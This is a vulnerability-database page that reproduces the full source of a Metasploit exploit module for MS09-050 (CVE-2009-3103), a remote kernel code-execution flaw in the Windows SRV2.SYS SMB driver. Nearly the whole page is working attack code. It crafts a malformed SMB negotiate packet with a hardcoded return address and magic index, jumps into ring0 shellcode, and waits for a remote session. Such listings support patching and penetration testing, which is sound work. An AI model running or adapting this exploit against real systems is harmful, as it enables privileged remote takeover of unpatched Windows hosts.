Lucene search
K

MS09-050 Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference

MS09-050 Microsoft SRV2.SYS SMB Negotiate Function Table Dereferenc

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::SMB::Client
  include Msf::Exploit::KernelMode

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS09-050 Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference',
      'Description'    => %q{
          This module exploits an out of bounds function table dereference in the SMB
        request validation code of the SRV2.SYS driver included with Windows Vista, Windows 7
        release candidates (not RTM), and Windows 2008 Server prior to R2. Windows Vista
        without SP1 does not seem affected by this flaw.
      },

      'Author'         => [ 'Laurent Gaffie <laurent.gaffie[at]gmail.com>', 'hdm', 'sf' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'MSB', 'MS09-050' ],
          [ 'CVE', '2009-3103' ],
          [ 'BID', '36299' ],
          [ 'OSVDB', '57799' ],
          [ 'URL', 'https://seclists.org/fulldisclosure/2009/Sep/0039.html' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'           => 1024,
          'StackAdjustment' => -3500,
          'DisableNops'     => true,
          'EncoderType'     => Msf::Encoder::Type::Raw,
          'ExtendedOptions' =>
            {
              'Stager'  => 'stager_sysenter_hook',
            }
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows Vista SP1/SP2 and Server 2008 (x86)',
            {
              'Platform'       => 'win',
              'Arch'           => [ ARCH_X86 ],
              'Ret'            => 0xFFD00D09, # "POP ESI; RET" from the kernels HAL memory region ...no ASLR :)
              'ReadAddress'    => 0xFFDF0D04, # A readable address from kernel space (no nulls in address).
              'ProcessIDHigh'  => 0x0217,     # srv2!SrvSnapShotScavengerTimer
              'MagicIndex'     => 0x3FFFFFB4, # (DWORD)( MagicIndex*4 + 0x130 ) == 0
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2009-09-07'
    ))

    register_options(
      [
        Opt::RPORT(445),
        OptInt.new( 'WAIT', [ true,  "The number of seconds to wait for the attack to complete.", 180 ] )
      ])
  end

  # Not reliable enough for automation yet
  def autofilter
    false
  end

  def exploit
    print_status( "Connecting to the target (#{datastore['RHOST']}:#{datastore['RPORT']})..." )
    connect

    # we use ReadAddress to avoid problems in srv2!SrvProcCompleteRequest
    # and srv2!SrvProcPartialCompleteCompoundedRequest
    dialects = [ [ target['ReadAddress'] ].pack("V") * 25, "SMB 2.002" ]

    data  = dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('')
    data += [ 0x00000000 ].pack("V") * 37 # Must be NULL's
    data += [ 0xFFFFFFFF ].pack("V")      # Used in srv2!SrvConsumeDataAndComplete2+0x34 (known stability issue with srv2!SrvConsumeDataAndComplete2+6b)
    data += [ 0xFFFFFFFF ].pack("V")      # Used in srv2!SrvConsumeDataAndComplete2+0x34
    data += [ 0x42424242 ].pack("V") * 7  # Unused
    data += [ target['MagicIndex'] ].pack("V") # An index to force an increment the SMB header value :) (srv2!SrvConsumeDataAndComplete2+0x7E)
    data += [ 0x41414141 ].pack("V") * 6  # Unused
    data += [ target.ret ].pack("V")      # EIP Control thanks to srv2!SrvProcCompleteRequest+0xD2
    data += payload.encoded               # Our ring0 -> ring3 shellcode

    # We gain code execution by returning into the SMB packet, beginning with its header.
    # The SMB packets Magic Header value is 0xFF534D42 which assembles to "CALL DWORD PTR [EBX+0x4D]; INC EDX"
    # This will cause an access violation if executed as we can never set EBX to a valid pointer.
    # To overcome this we force an increment of the header value (via MagicIndex), transforming it to 0x00544D42.
    # This assembles to "ADD BYTE PTR [EBP+ECX*2+0x42], DL" which is fine as ECX will be zero and EBP is a vaild pointer.
    # We patch the Signature1 value to be a jump forward into our shellcode.
    packet = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct
    packet['Payload']['SMB'].v['Command']       = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE
    packet['Payload']['SMB'].v['Flags1']        = 0x18
    packet['Payload']['SMB'].v['Flags2']        = 0xC853
    packet['Payload']['SMB'].v['ProcessIDHigh'] = target['ProcessIDHigh']
    packet['Payload']['SMB'].v['Signature1']    = 0x0158E900 # "JMP DWORD 0x15D" ; jump into our ring0 payload.
    packet['Payload']['SMB'].v['Signature2']    = 0x00000000 # ...
    packet['Payload']['SMB'].v['MultiplexID']   = rand( 0x10000 )
    packet['Payload'].v['Payload']              = data

    packet = packet.to_s

    print_status( "Sending the exploit packet (#{packet.length} bytes)..." )
    sock.put( packet )


    wtime = datastore['WAIT'].to_i
    print_status( "Waiting up to #{wtime} second#{wtime == 1 ? '' : 's'} for exploit to trigger..." )
    stime = Time.now.to_i


    poke_logins = %W{Guest Administrator}
    poke_logins.each do |login|
      begin
        sec = connect(false)
        sec.login(datastore['SMBName'], login, rand_text_alpha(rand(8)+1), rand_text_alpha(rand(8)+1))
      rescue ::Exception => e
        sec.socket.close
      end
    end

    while( stime + wtime > Time.now.to_i )
      select(nil, nil, nil, 0.25)
      break if session_created?
    end

    handler
    disconnect
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation